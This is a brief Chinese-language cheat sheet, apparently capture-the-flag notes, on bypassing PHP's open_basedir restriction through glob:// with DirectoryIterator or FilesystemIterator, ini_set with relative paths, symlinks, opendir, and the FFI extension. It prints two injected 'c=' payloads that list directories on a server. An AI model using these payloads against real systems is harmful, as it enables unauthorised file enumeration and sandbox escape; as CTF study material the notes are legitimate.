interesting3
PHP
next
绕过open_basedir,glob协议
- 利用DirectoryIterator类对象+glob://协议获取目录结构,能够突破open_basedir的限制
|
- FilesystemIterator类 + glob://协议
|
利用
- ini_set() + 相对路径
|
- symlink是软连接,通过偷梁换柱的方法绕过open_basedir
|
- glob://协议
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");} exit(0); |
- opendir
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; }; exit(0); |
FFI扩展
#7.4以上的php版本可以使用FFI,即外部函数接口,是指在一种语言里调用另一种语言代码的技术 |